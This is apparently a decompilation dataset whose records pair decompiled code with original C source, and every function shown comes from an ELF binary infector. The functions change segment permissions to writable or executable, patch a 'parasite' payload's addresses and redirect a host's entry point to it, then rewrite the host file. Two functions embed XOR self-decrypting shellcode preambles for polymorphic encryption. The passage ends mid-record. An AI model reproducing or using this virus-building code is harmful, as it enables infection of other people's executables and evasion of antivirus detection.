variable_types: struct Elf64_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned long sh_flags; unsigned long sh_addr; unsigned long sh_offset; unsigned long sh_size; unsigned int sh_link; unsigned int sh_info; unsigned long sh_addralign; unsigned long sh_entsize; } *


original_code:
int make_text_writeable64(Elfit_t *host)
{
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    size_t wrote;
    int ofd;
    int i;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

canonical_original_code:
int make_text_writeable64(struct Elfit_t *host)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Phdr *phdr;
    unsigned long wrote;
    int ofd;
    int i;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

variable_types: struct Elf64_Phdr { unsigned int p_type; unsigned int p_flags; unsigned long p_offset; unsigned long p_vaddr; unsigned long p_paddr; unsigned long p_filesz; unsigned long p_memsz; unsigned long p_align; } *

variable_types:
wrote
unsigned long

variable_types: ofd int

user_defined_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; }


decompiled_code:
__int64 __fastcall make_text_writeable32(__int64 a1)
{
__int64 v1; // rdx
_DWORD *v2; // rax
__int64 v3; // rdx
_DWORD *v4; // rdx
int v5; // ebp

v1 = *(_QWORD *)(a1 + 8);
v2 = (_DWORD *)(v1 + *(unsigned int *)(v1 + 28));
v3 = *(unsigned __int16 *)(v1 + 44);
if ( (_WORD)v3 )
{
v4 = &v2[8 * v3];
do
{
while ( *v2 != 1 || v2[6] != 5 )
{
v2 += 8;
if ( v2 == v4 )
goto LABEL_7;
}
v2[6] = 7;
v2 += 8;
}
while ( v2 != v4 );
}
LABEL_7:
v5 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v5 < 0 )
{
perror("tmp binary");
exit(-1);
}
if ( *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) > (unsigned __int64)write(
v5,
*(const void **)(a1 + 8),
*(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) )
{
perror("modifying headers");
exit(-1);
}
rename("tmp.bin", *(const char **)a1);
close(v5);
return 0LL;
}

original_code:
int make_text_writeable32(Elfit_t *host)
{
    Elf32_Ehdr *ehdr;
    Elf32_Phdr *phdr;
    size_t wrote;
    int ofd;
    int i;
    ehdr = (Elf32_Ehdr *) host->mem;
    phdr = (Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

canonical_original_code:
int make_text_writeable32(struct Elfit_t *host)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Phdr *phdr;
    unsigned long wrote;
    int ofd;
    int i;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    phdr = (struct Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 0)))
                phdr->p_flags |= (1 << 1);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

variable_types: struct Elf32_Phdr { unsigned int p_type; unsigned int p_offset; unsigned int p_vaddr; unsigned int p_paddr; unsigned int p_filesz; unsigned int p_memsz; unsigned int p_flags; unsigned int p_align; } *

user_defined_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; }


original_code:
int make_data_executable64(Elfit_t *host)
{
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    size_t wrote;
    int ofd;
    int i;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 1)))
                phdr->p_flags |= (1 << 0);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

canonical_original_code:
int make_data_executable64(struct Elfit_t *host)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Phdr *phdr;
    unsigned long wrote;
    int ofd;
    int i;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    for(i = 0; i < ehdr->e_phnum; phdr++, i++)
    {
        if (phdr->p_type == 1)
            if (phdr->p_flags == ((1 << 2) | (1 << 1)))
                phdr->p_flags |= (1 << 0);
    }
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary");
        exit(-1);
    }
    if ((wrote = write(ofd, host->mem, host->file->st_size)) < host->file->st_size)
    {
        perror("modifying headers");
        exit(-1);
    }
    rename("tmp.bin", host->name);
    close(ofd);
    return 0;
}

user_defined_types: struct Elf64_Phdr { unsigned int p_type; unsigned int p_flags; unsigned long p_offset; unsigned long p_vaddr; unsigned long p_paddr; unsigned long p_filesz; unsigned long p_memsz; unsigned long p_align; }


decompiled_code:
__int64 __fastcall str_to_mode(const char *a1)
{
if ( !strcmp(a1, "init") )
return 1LL;
if ( !strcmp(a1, "fini") )
return 2LL;
if ( strcmp(a1, "main") )
{
puts("[-] unrecognized hijack mode chosen");
exit(-1);
}
return 3LL;
}

canonical_decompiled_code:
__int64 __fastcall func8(const char *a1)
{
if ( !strcmp(a1, "init") )
return 1LL;
if ( !strcmp(a1, "fini") )
return 2LL;
if ( strcmp(a1, "main") )
{
puts("[-] unrecognized hijack mode chosen");
exit(-1);
}
return 3LL;
}

original_code:
int str_to_mode(char *str)
{
    if (!strcmp(str, "init"))
    {
        return 1;
    }
    else if (!strcmp(str, "fini"))
    {
        return 2;
    }
    else if (!strcmp(str, "main"))
    {
        return 3;
    }
    else
    {
        printf("[-] unrecognized hijack mode chosen\n");
        exit(-1);
    }
}

variable_types:
str
char *


decompiled_code:
__int64 __fastcall patch_parasite32(__int64 a1, unsigned int a2, int a3)
{
__int64 v5; // rbx
__int64 result; // rax
__int64 v7; // r8
__int64 v8; // r10
__int64 v9; // rax

v5 = a2;
if ( a2 )
goto LABEL_2;
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_9;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( 1 )
{
v5 = (unsigned int)v9;
if ( !memcmp((const void *)(v8 + v9), &unk_463, 4uLL) )
break;
if ( v7 == ++v9 )
goto LABEL_9;
}
if ( (_DWORD)v9 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v5);
if ( v5 >= *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
result = 0xFFFFFFFFLL;
}
else
{
*(_DWORD *)(*(_QWORD *)(a1 + 8) + v5) = a3;
result = 0LL;
}
}
else
{
LABEL_9:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, unsigned int a2, int a3)
{
__int64 v5; // rbx
__int64 result; // rax
__int64 v7; // r8
__int64 v8; // r10
__int64 v9; // rax

v5 = a2;
if ( a2 )
goto LABEL_2;
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_9;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( 1 )
{
v5 = (unsigned int)v9;
if ( !memcmp((const void *)(v8 + v9), &unk_463, 4uLL) )
break;
if ( v7 == ++v9 )
goto LABEL_9;
}
if ( (_DWORD)v9 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v5);
if ( v5 >= *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
result = 0xFFFFFFFFLL;
}
else
{
*(_DWORD *)(*(_QWORD *)(a1 + 8) + v5) = a3;
result = 0LL;
}
}
else
{
LABEL_9:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
result = 0LL;
}
return result;
}

original_code:
int patch_parasite32(Elfit_t *parasite, uint32_t patchpos, uint32_t vaddr)
{
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    *(uint32_t *)&parasite->mem[patchpos] = vaddr;
    return 0;
}

canonical_original_code:
int patch_parasite32(struct Elfit_t *parasite, unsigned int patchpos, unsigned int vaddr)
{
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    *(unsigned int *)&parasite->mem[patchpos] = vaddr;
    return 0;
}

variable_types:
patchpos
unsigned int

variable_types:
vaddr
unsigned int


decompiled_code:
__int64 __fastcall patch_parasite64(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v5; // rbx
__int64 v7; // r9
__int64 v8; // r8
__int64 v9; // rax
__int64 v10; // rbx

v5 = a2;
if ( a2 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v5);
if ( *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) > v5 )
{
*(_QWORD *)(*(_QWORD *)(a1 + 8) + v5) = a3;
return 0LL;
}
}
else
{
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_15;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( 1 )
{
v5 = (unsigned int)v9;
if ( !memcmp((const void *)(v8 + v9), &unk_480, 8uLL) )
break;
if ( ++v9 == v7 )
goto LABEL_9;
}
if ( (_DWORD)v9 )
goto LABEL_2;
LABEL_9:
v10 = 0LL;
while ( memcmp((const void *)(v8 + v10), &unk_463, 4uLL) )
{
if ( ++v10 == v7 )
goto LABEL_15;
}
if ( !(_DWORD)v10 )
{
LABEL_15:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
return 0LL;
}
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v10);
if ( v10 < *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
puts("[!] performing patch on 32bit parasite");
*(_DWORD *)(*(_QWORD *)(a1 + 8) + v10) = a3;
return 0LL;
}
}
return 0xFFFFFFFFLL;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v5; // rbx
__int64 v7; // r9
__int64 v8; // r8
__int64 v9; // rax
__int64 v10; // rbx

v5 = a2;
if ( a2 )
{
LABEL_2:
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v5);
if ( *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) > v5 )
{
*(_QWORD *)(*(_QWORD *)(a1 + 8) + v5) = a3;
return 0LL;
}
}
else
{
puts("[+ USING SMART PATCHING]");
v7 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL);
if ( v7 <= 0 )
goto LABEL_15;
v8 = *(_QWORD *)(a1 + 8);
v9 = 0LL;
while ( 1 )
{
v5 = (unsigned int)v9;
if ( !memcmp((const void *)(v8 + v9), &unk_480, 8uLL) )
break;
if ( ++v9 == v7 )
goto LABEL_9;
}
if ( (_DWORD)v9 )
goto LABEL_2;
LABEL_9:
v10 = 0LL;
while ( memcmp((const void *)(v8 + v10), &unk_463, 4uLL) )
{
if ( ++v10 == v7 )
goto LABEL_15;
}
if ( !(_DWORD)v10 )
{
LABEL_15:
puts("[- SMART PATCHING PATTERN NOT FOUND]");
puts("[! DECIDED NOT TO PATCH]");
return 0LL;
}
printf("[+ PATCHING POSITION %d IN PARASITE]\n", (unsigned int)v10);
if ( v10 < *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
puts("[!] performing patch on 32bit parasite");
*(_DWORD *)(*(_QWORD *)(a1 + 8) + v10) = a3;
return 0LL;
}
}
return 0xFFFFFFFFLL;
}

original_code:
int patch_parasite64(Elfit_t *parasite, uint32_t patchpos, uint64_t vaddr)
{
    int arch = 1;
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x77\x66\x55\x44\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                arch = 2;
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos == 0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    if (arch == 1)
        *(uint64_t *)&parasite->mem[patchpos] = vaddr;
    else if (arch == 2)
    {
        printf("[!] performing patch on 32bit parasite\n");
        *(uint32_t *)&parasite->mem[patchpos] = vaddr;
    }
    return 0;
}

canonical_original_code:
int patch_parasite64(struct Elfit_t *parasite, unsigned int patchpos, unsigned long vaddr)
{
    int arch = 1;
    int i;
    if (patchpos==0)
    {
        printf("[+ USING SMART PATCHING]\n");
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x77\x66\x55\x44\x33\x22\x11"))
            {
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos==0)
    {
        for (i=0;i<parasite->file->st_size;i++)
        {
            if (!strcmp(&parasite->mem[i], "\x33\x22\x11"))
            {
                arch = 2;
                patchpos = i;
                break;
            }
        }
    }
    if (patchpos == 0)
    {
 printf("[- SMART PATCHING PATTERN NOT FOUND]\n");
 printf("[! DECIDED NOT TO PATCH]\n");
 return 0;
    }
    else
     printf("[+ PATCHING POSITION %d IN PARASITE]\n", patchpos);
    if (patchpos >= parasite->file->st_size)
        return -1;
    if (arch == 1)
        *(unsigned long *)&parasite->mem[patchpos] = vaddr;
    else if (arch == 2)
    {
        printf("[!] performing patch on 32bit parasite\n");
        *(unsigned int *)&parasite->mem[patchpos] = vaddr;
    }
    return 0;
}

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types:
vaddr
unsigned long

variable_types: arch int


original_code:
int parasite_polymorphize64(Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
          0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x02, 0xeb, 0x13,
          0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0xb8, 0x00, 0x00,
          0x00, 0x00, 0xe8, 0xeb, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00, 0x00, 0x00,
          0x00, 0x48, 0x83, 0xc3, 0x1e, 0x48, 0x31, 0x04, 0x3b, 0x48, 0xff, 0xc7,
          0x48, 0x39, 0xf7, 0x7c, 0xf4, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e,
          0x5f
    };
    unsigned int preamble_len = 61;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(uint32_t *)&newmem[(14 + 8)] = key;
    *(uint32_t *)&newmem[(25 + 8)] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}

canonical_original_code:
int parasite_polymorphize64(struct Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
          0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x02, 0xeb, 0x13,
          0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0xb8, 0x00, 0x00,
          0x00, 0x00, 0xe8, 0xeb, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00, 0x00, 0x00,
          0x00, 0x48, 0x83, 0xc3, 0x1e, 0x48, 0x31, 0x04, 0x3b, 0x48, 0xff, 0xc7,
          0x48, 0x39, 0xf7, 0x7c, 0xf4, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e,
          0x5f
    };
    unsigned int preamble_len = 61;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(unsigned int *)&newmem[(14 + 8)] = key;
    *(unsigned int *)&newmem[(25 + 8)] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}

variable_types: key char

variable_types:
preamble
unsigned char []

variable_types:
newmem
char *


original_code:
int parasite_polymorphize32(Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
 0x60, 0xeb, 0x02, 0xeb, 0x10, 0x31, 0xc0, 0x31, 0xff, 0x31, 0xf6, 0xb8,
   0x00, 0x00, 0x00, 0x00, 0xe8, 0xee, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00,
   0x00, 0x00, 0x00, 0x83, 0xc3, 0x12, 0x31, 0x04, 0x3b, 0x47, 0x39, 0xf7,
   0x7c, 0xf8, 0x61
    };
    unsigned int preamble_len = 39;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(uint32_t *)&newmem[12] = key;
    *(uint32_t *)&newmem[23] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}

canonical_original_code:
int parasite_polymorphize32(struct Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
 0x60, 0xeb, 0x02, 0xeb, 0x10, 0x31, 0xc0, 0x31, 0xff, 0x31, 0xf6, 0xb8,
   0x00, 0x00, 0x00, 0x00, 0xe8, 0xee, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00,
   0x00, 0x00, 0x00, 0x83, 0xc3, 0x12, 0x31, 0x04, 0x3b, 0x47, 0x39, 0xf7,
   0x7c, 0xf8, 0x61
    };
    unsigned int preamble_len = 39;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(unsigned int *)&newmem[12] = key;
    *(unsigned int *)&newmem[23] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}


decompiled_code:
__int64 __fastcall commit_redirect_32(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

original_code:
int commit_redirect_32(Elfit_t *host, off_t location, uint32_t malpoint)
{
    int ofd, c;
    *(uint32_t *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

canonical_original_code:
int commit_redirect_32(struct Elfit_t *host, long location, unsigned int malpoint)
{
    int ofd; int c;
    *(unsigned int *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

variable_types: location long

variable_types:
malpoint
unsigned int

variable_types: c int


decompiled_code:
__int64 __fastcall commit_redirect_64(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

original_code:
int commit_redirect_64(Elfit_t *host, off_t location, uint64_t malpoint)
{
    int ofd, c;
    *(uint32_t *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

canonical_original_code:
int commit_redirect_64(struct Elfit_t *host, long location, unsigned long malpoint)
{
    int ofd; int c;
    *(unsigned int *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

variable_types:
malpoint
unsigned long


decompiled_code:
__int64 __fastcall entry_redirect_32(__int64 a1, _DWORD *a2)
{
*a2 = *(_DWORD *)(*(_QWORD *)(a1 + 8) + 24LL);
return 24LL;
}

canonical_decompiled_code:
__int64 __fastcall func2(__int64 a1, _DWORD *a2)
{
*a2 = *(_DWORD *)(*(_QWORD *)(a1 + 8) + 24LL);
return 24LL;
}

original_code:
off_t entry_redirect_32(Elfit_t *host, uint32_t *patch_addr)
{
    Elf32_Ehdr *ehdr;
    ehdr = (Elf32_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

canonical_original_code:
long entry_redirect_32(struct Elfit_t *host, unsigned int *patch_addr)
{
    struct Elf32_Ehdr *ehdr;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

variable_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

return_type: long


decompiled_code:
__int64 __fastcall entry_redirect_64(__int64 a1, _QWORD *a2)
{
*a2 = *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24LL);
return 24LL;
}

canonical_decompiled_code:
__int64 __fastcall func3(__int64 a1, _QWORD *a2)
{
*a2 = *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24LL);
